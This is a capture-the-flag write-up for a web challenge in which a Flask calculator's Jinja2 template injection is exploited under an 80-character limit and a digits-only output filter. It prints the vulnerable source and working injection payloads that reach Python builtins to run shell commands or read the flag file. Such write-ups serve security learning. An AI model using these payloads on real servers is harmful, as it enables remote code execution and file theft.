Category: Web

Points: 300

Description:


My computer architecture professor told me: "Every time you see a decimal, you should hate it!" I took his advice to heart, and made a calculator. But don't worry! I got rid of all the decimals. No floats here!

app.py

#!/usr/bin/env python3

from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
    return open('templates/index.html').read()

@app.route('/calc')
def calc():
    query = request.args['query']
    request.args = {}
    request.headers = {} # no outside help!
    request.cookies = {}
    if len(query) > 80: # my exploit is 77 chars, but 80 is such a nice even number
        return "Too long!"
    res = render_template_string("{{%s}}"%query)
    out = ''
    for c in res:
        if c in "0123456789-": # negative numbers are cool
            out += c
    return out

This is a same SSTI challenge from the previous build-my-website challenge but our output are filtered and only digits and a minus sign is allowed.

My first idea was to create a payload that will read from the file and then send us eht output in byte format which will be in ascii and to differentiated between characters use minus sign.

But in the worst condition where payload could exceed 80 chars, then we will have to make our payload small and try to extract 1 byte at a time.

Previous payload from build-a-website:

request['application']['__global__']['__builtins__']['__import__']('os')['popen']('cat flag.txt').read()}}

After researching for a while and trying many things out I found these steps to reduce the size of our payload.

1 We can replace [' and '] with dot operator.
2 Replace application with close. I found close method by looping through request finding only methods.
3 Replacing the whole import os with the open inbuilt function.
4 Using the jinja filters we can use join to join it will negative sign.

And our final payload is exactly 77 chars.

Final payload:

request.close.__globals__.__builtins__['open']('flag', 'rb').read()|join('-')

Flag:

ictf{this_flag_has_three_interesting_properties_it_has_no_numbers_or_dashes_it_is_quite_long_and_it_is_quite_scary}